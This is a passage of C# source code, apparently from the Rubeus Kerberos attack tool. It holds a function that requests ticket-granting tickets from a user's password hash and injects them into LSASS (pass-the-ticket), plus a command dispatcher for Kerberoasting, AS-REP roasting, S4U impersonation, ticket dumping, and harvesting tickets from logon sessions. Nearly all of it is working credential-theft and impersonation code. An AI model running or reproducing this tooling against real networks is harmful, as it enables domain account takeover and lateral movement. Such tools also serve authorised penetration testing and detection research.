asrepKey, serviceUser, serviceDomain, krbKey); } else if (File.Exists(kirbi64)) { byte[] kirbiBytes = File.ReadAllBytes(kirbi64); KRB_CRED kirbi = new KRB_CRED(kirbiBytes); LSA.DisplayTicket(kirbi, 2, false, false, true, false, serviceKey, asrepKey, serviceUser, serviceDomain, krbKey); } else { Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); } return; } else { Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n"); return; } }
public static byte[] InnerTGT(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, bool ptt, string domainController = "", Interop.LUID luid = new Interop.LUID(), bool describe = false, bool verbose = false) { if (verbose) { Console.WriteLine("[*] Action: Ask TGT\r\n"); Console.WriteLine("[*] Using {0} hash: {1}", etype, keyString); if ((ulong)luid != 0) { Console.WriteLine("[*] Target LUID : {0}", (ulong)luid); } } string dcIP = Networking.GetDCIP(domainController, false); if (String.IsNullOrEmpty(dcIP)) { throw new RubeusException("[X] Unable to get domain controller address"); } if (verbose) { Console.WriteLine("[*] Building AS-REQ (w/ preauth) for: '{0}\\{1}'", domain, userName); } byte[] reqBytes = AS_REQ.NewASReq(userName, domain, keyString, etype); byte[] response = Networking.SendBytes(dcIP, 88, reqBytes); if (response == null) { throw new RubeusException("[X] No answer from domain controller"); } // decode the supplied bytes to an AsnElt object // false == ignore trailing garbage AsnElt responseAsn = AsnElt.Decode(response, false); // check the response value int responseTag = responseAsn.TagValue; if (responseTag == 11) { if (verbose) { Console.WriteLine("[+] TGT request successful!"); } // parse the response to an AS-REP AS_REP rep = new AS_REP(responseAsn); // convert the key string to bytes byte[] key = Helpers.StringToByteArray(keyString); // decrypt the enc_part containing the session key/etc. // TODO: error checking on the decryption "failing"... byte[] outBytes; if (etype == Interop.KERB_ETYPE.des_cbc_md5) { // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8 outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher); } else if (etype == Interop.KERB_ETYPE.rc4_hmac) { // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8 outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher); } else if (etype == Interop.KERB_ETYPE.aes128_cts_hmac_sha1) { // KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3 outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher); } else if (etype == Interop.KERB_ETYPE.aes256_cts_hmac_sha1) { // KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3 outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher); } else { throw new RubeusException("[X] Encryption type \"" + etype + "\" not currently supported"); } AsnElt ae = AsnElt.Decode(outBytes, false); EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]); // now build the final KRB-CRED structure KRB_CRED cred = new KRB_CRED(); // add the ticket cred.tickets.Add(rep.ticket); // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart KrbCredInfo info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart.key.keytype; info.key.keyvalue = encRepPart.key.keyvalue; // [1] prealm (domain) info.prealm = encRepPart.realm; // [2] pname (user) info.pname.name_type = rep.cname.name_type; info.pname.name_string = rep.cname.name_string; // [3] flags info.flags = encRepPart.flags; // [4] authtime (not required) // [5] starttime info.starttime = encRepPart.starttime; // [6] endtime info.endtime = encRepPart.endtime; // [7] renew-till info.renew_till = encRepPart.renew_till; // [8] srealm info.srealm = encRepPart.realm; // [9] sname info.sname.name_type = encRepPart.sname.name_type; info.sname.name_string = encRepPart.sname.name_string; // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); if (verbose) { string kirbiString = Convert.ToBase64String(kirbiBytes); Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString); // display the .kirbi base64, columns of 80 chararacters foreach (string line in Helpers.Split(kirbiString, 80)) { Console.WriteLine(" {0}", line); } } if (ptt || ((ulong)luid != 0)) { // pass-the-ticket -> import into LSASS LSA.ImportTicket(kirbiBytes, luid); } if (describe) { KRB_CRED kirbi = new KRB_CRED(kirbiBytes); LSA.DisplayTicket(kirbi); } return(kirbiBytes); } else if (responseTag == 30) { // parse the response to an KRB-ERROR KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); throw new KerberosErrorException("", error); } else { throw new RubeusException("[X] Unknown application tag: " + responseTag); } }
static void Main(string[] args) { Logo(); var arguments = new Dictionary <string, string>(); foreach (string argument in args) { int idx = argument.IndexOf(':'); if (idx > 0) { arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1); } else { arguments[argument] = ""; } } if (arguments.ContainsKey("asktgt")) { string user = ""; string domain = ""; string hash = ""; string dc = ""; bool ptt = false; uint luid = 0; Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial; if (arguments.ContainsKey("/user")) { user = arguments["/user"]; } if (arguments.ContainsKey("/domain")) { domain = arguments["/domain"]; } if (arguments.ContainsKey("/dc")) { dc = arguments["/dc"]; } if (arguments.ContainsKey("/rc4")) { hash = arguments["/rc4"]; encType = Interop.KERB_ETYPE.rc4_hmac; } if (arguments.ContainsKey("/aes256")) { hash = arguments["/aes256"]; encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; } if (arguments.ContainsKey("/ptt")) { ptt = true; } if (arguments.ContainsKey("/luid")) { try { luid = UInt32.Parse(arguments["/luid"]); } catch { try { luid = Convert.ToUInt32(arguments["/luid"], 16); } catch { Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/LUID"]); return; } } } if (arguments.ContainsKey("/createnetonly")) { // if we're starting a hidden process to apply the ticket to if (!Helpers.IsHighIntegrity()) { Console.WriteLine("[X] You need to be in high integrity to apply a ticket to created logon session"); return; } if (arguments.ContainsKey("/show")) { luid = LSA.CreateProcessNetOnly(arguments["/createnetonly"], true); } else { luid = LSA.CreateProcessNetOnly(arguments["/createnetonly"], false); } Console.WriteLine(); } if (String.IsNullOrEmpty(user)) { Console.WriteLine("\r\n[X] You must supply a user name!\r\n"); return; } if (String.IsNullOrEmpty(domain)) { domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName; } if (String.IsNullOrEmpty(hash)) { Console.WriteLine("\r\n[X] You must supply a /rc4 or /aes256 hash!\r\n"); return; } if (!((encType == Interop.KERB_ETYPE.rc4_hmac) || (encType == Interop.KERB_ETYPE.aes256_cts_hmac_sha1))) { Console.WriteLine("\r\n[X] Only /rc4 and /aes256 are supported at this time.\r\n"); return; } else { Ask.TGT(user, domain, hash, encType, ptt, dc, luid); return; } } if (arguments.ContainsKey("renew")) { bool ptt = false; string dc = ""; if (arguments.ContainsKey("/ptt")) { ptt = true; } if (arguments.ContainsKey("/dc")) { dc = arguments["/dc"]; } if (arguments.ContainsKey("/ticket")) { string kirbi64 = arguments["/ticket"]; if (Helpers.IsBase64String(kirbi64)) { byte[] kirbiBytes = Convert.FromBase64String(kirbi64); KRB_CRED kirbi = new KRB_CRED(kirbiBytes); if (arguments.ContainsKey("/autorenew")) { // if we want to auto-renew the TGT up until the renewal limit Renew.TGTAutoRenew(kirbi, dc); } else { // otherwise a single renew operation byte[] blah = Renew.TGT(kirbi, ptt, dc); } } else if (File.Exists(kirbi64)) { byte[] kirbiBytes = File.ReadAllBytes(kirbi64); KRB_CRED kirbi = new KRB_CRED(kirbiBytes); if (arguments.ContainsKey("/autorenew")) { // if we want to auto-renew the TGT up until the renewal limit Renew.TGTAutoRenew(kirbi, dc); } else { // otherwise a single renew operation byte[] blah = Renew.TGT(kirbi, ptt, dc); } } else { Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); } return; } else { Console.WriteLine("\r\n[X] A base64 .kirbi file needs to be supplied for renewal!\r\n"); return; } } if (arguments.ContainsKey("s4u")) { string targetUser = ""; string targetSPN = ""; string altSname = ""; string user = ""; string domain = ""; string hash = ""; bool ptt = false; string dc = ""; Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial; if (arguments.ContainsKey("/user")) { user = arguments["/user"]; } if (arguments.ContainsKey("/domain")) { domain = arguments["/domain"]; } if (arguments.ContainsKey("/ptt")) { ptt = true; } if (arguments.ContainsKey("/dc")) { dc = arguments["/dc"]; } if (arguments.ContainsKey("/rc4")) { hash = arguments["/rc4"]; encType = Interop.KERB_ETYPE.rc4_hmac; } if (arguments.ContainsKey("/aes256")) { hash = arguments["/aes256"]; encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; } if (arguments.ContainsKey("/impersonateuser")) { targetUser = arguments["/impersonateuser"]; } if (arguments.ContainsKey("/msdsspn")) { targetSPN = arguments["/msdsspn"]; } if (arguments.ContainsKey("/altservice")) { altSname = arguments["/altservice"]; } if (String.IsNullOrEmpty(targetUser)) { Console.WriteLine("\r\n[X] You must supply a /impersonateuser to impersonate!\r\n"); return; } if (String.IsNullOrEmpty(targetSPN)) { Console.WriteLine("\r\n[X] You must supply a /msdsspn !\r\n"); return; } if (arguments.ContainsKey("/ticket")) { string kirbi64 = arguments["/ticket"]; if (Helpers.IsBase64String(kirbi64)) { byte[] kirbiBytes = Convert.FromBase64String(kirbi64); KRB_CRED kirbi = new KRB_CRED(kirbiBytes); S4U.Execute(kirbi, targetUser, targetSPN, ptt, dc, altSname); } else if (File.Exists(kirbi64)) { byte[] kirbiBytes = File.ReadAllBytes(kirbi64); KRB_CRED kirbi = new KRB_CRED(kirbiBytes); S4U.Execute(kirbi, targetUser, targetSPN, ptt, dc, altSname); } else { Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); } return; } else if (arguments.ContainsKey("/user")) { // if the user is supplying a user and rc4/aes256 hash to first execute a TGT request user = arguments["/user"]; if (String.IsNullOrEmpty(hash)) { Console.WriteLine("\r\n[X] You must supply a /rc4 or /aes256 hash!\r\n"); return; } S4U.Execute(user, domain, hash, encType, targetUser, targetSPN, ptt, dc, altSname); return; } else { Console.WriteLine("\r\n[X] A base64 .kirbi file needs to be supplied for S4U!"); Console.WriteLine("[X] Alternatively, supply a /user and </rc4:X | /aes256:X> hash to first retrieve a TGT.\r\n"); return; } } if (arguments.ContainsKey("ptt")) { uint luid = 0; if (arguments.ContainsKey("/luid")) { try { luid = UInt32.Parse(arguments["/luid"]); } catch { try { luid = Convert.ToUInt32(arguments["/luid"], 16); } catch { Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/LUID"]); return; } } } if (arguments.ContainsKey("/ticket")) { string kirbi64 = arguments["/ticket"]; if (Helpers.IsBase64String(kirbi64)) { byte[] kirbiBytes = Convert.FromBase64String(kirbi64); LSA.ImportTicket(kirbiBytes, luid); } else if (File.Exists(kirbi64)) { byte[] kirbiBytes = File.ReadAllBytes(kirbi64); LSA.ImportTicket(kirbiBytes, luid); } else { Console.WriteLine("\r\n[X]/ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); } return; } else { Console.WriteLine("\r\n[X] A base64 .kirbi file needs to be supplied!\r\n"); return; } } if (arguments.ContainsKey("purge")) { uint luid = 0; if (arguments.ContainsKey("/luid")) { try { luid = UInt32.Parse(arguments["/luid"]); } catch { try { luid = Convert.ToUInt32(arguments["/luid"], 16); } catch { Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/LUID"]); return; } } } LSA.Purge(luid); } else if (arguments.ContainsKey("kerberoast")) { string spn = ""; string user = ""; string OU = ""; if (arguments.ContainsKey("/spn")) { spn = arguments["/spn"]; } if (arguments.ContainsKey("/user")) { user = arguments["/user"]; } if (arguments.ContainsKey("/ou")) { OU = arguments["/ou"]; } if (arguments.ContainsKey("/creduser")) { if (!Regex.IsMatch(arguments["/creduser"], ".+\\.+", RegexOptions.IgnoreCase)) { Console.WriteLine("\r\n[X] /creduser specification must be in fqdn format (domain.com\\user)\r\n"); return; } string[] parts = arguments["/creduser"].Split('\\'); string domainName = parts[0]; string userName = parts[1]; if (!arguments.ContainsKey("/credpassword")) { Console.WriteLine("\r\n[X] /credpassword is required when specifying /creduser\r\n"); return; } string password = arguments["/credpassword"]; System.Net.NetworkCredential cred = new System.Net.NetworkCredential(userName, password, domainName); Roast.Kerberoast(spn, user, OU, cred); } else { Roast.Kerberoast(spn, user, OU); } } else if (arguments.ContainsKey("asreproast")) { string user = ""; string domain = ""; string dc = ""; if (arguments.ContainsKey("/user")) { user = arguments["/user"]; } if (arguments.ContainsKey("/domain")) { domain = arguments["/domain"]; } if (arguments.ContainsKey("/dc")) { dc = arguments["/dc"]; } if (String.IsNullOrEmpty(user)) { Console.WriteLine("\r\n[X] You must supply a user name!\r\n"); return; } if (String.IsNullOrEmpty(domain)) { domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName; } if (String.IsNullOrEmpty(dc)) { Roast.ASRepRoast(user, domain); } else { Roast.ASRepRoast(user, domain, dc); } } else if (arguments.ContainsKey("dump")) { if (arguments.ContainsKey("/luid")) { string service = ""; if (arguments.ContainsKey("/service")) { service = arguments["/service"]; } UInt32 luid = 0; try { luid = UInt32.Parse(arguments["/luid"]); } catch { try { luid = Convert.ToUInt32(arguments["/luid"], 16); } catch { Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/LUID"]); return; } } LSA.ListKerberosTicketData(luid, service); } else if (arguments.ContainsKey("/service")) { LSA.ListKerberosTicketData(0, arguments["/service"]); } else { LSA.ListKerberosTicketData(); } } else if (arguments.ContainsKey("monitor")) { string targetUser = ""; int interval = 60; if (arguments.ContainsKey("/filteruser")) { targetUser = arguments["/filteruser"]; } if (arguments.ContainsKey("/interval")) { interval = Int32.Parse(arguments["/interval"]); } Harvest.Monitor4624(interval, targetUser); } else if (arguments.ContainsKey("harvest")) { int intervalMinutes = 60; if (arguments.ContainsKey("/interval")) { intervalMinutes = Int32.Parse(arguments["/interval"]); } Harvest.HarvestTGTs(intervalMinutes); } else if (arguments.ContainsKey("describe")) { if (arguments.ContainsKey("/ticket")) { string kirbi64 = arguments["/ticket"]; if (Helpers.IsBase64String(kirbi64)) { byte[] kirbiBytes = Convert.FromBase64String(kirbi64); KRB_CRED kirbi = new KRB_CRED(kirbiBytes); LSA.DisplayTicket(kirbi); } else if (File.Exists(kirbi64)) { byte[] kirbiBytes = File.ReadAllBytes(kirbi64); KRB_CRED kirbi = new KRB_CRED(kirbiBytes); LSA.DisplayTicket(kirbi); } else { Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); } return; } else { Console.WriteLine("\r\n[X] A base64 .kirbi /ticket file needs to be supplied!\r\n"); return; } } else if (arguments.ContainsKey("createnetonly")) { if (arguments.ContainsKey("/program")) { if (arguments.ContainsKey("/show")) { LSA.CreateProcessNetOnly(arguments["/program"], true); } else { LSA.CreateProcessNetOnly(arguments["/program"]); } } else { Console.WriteLine("\r\n[X] A /program needs to be supplied!\r\n"); } } else { Usage(); } }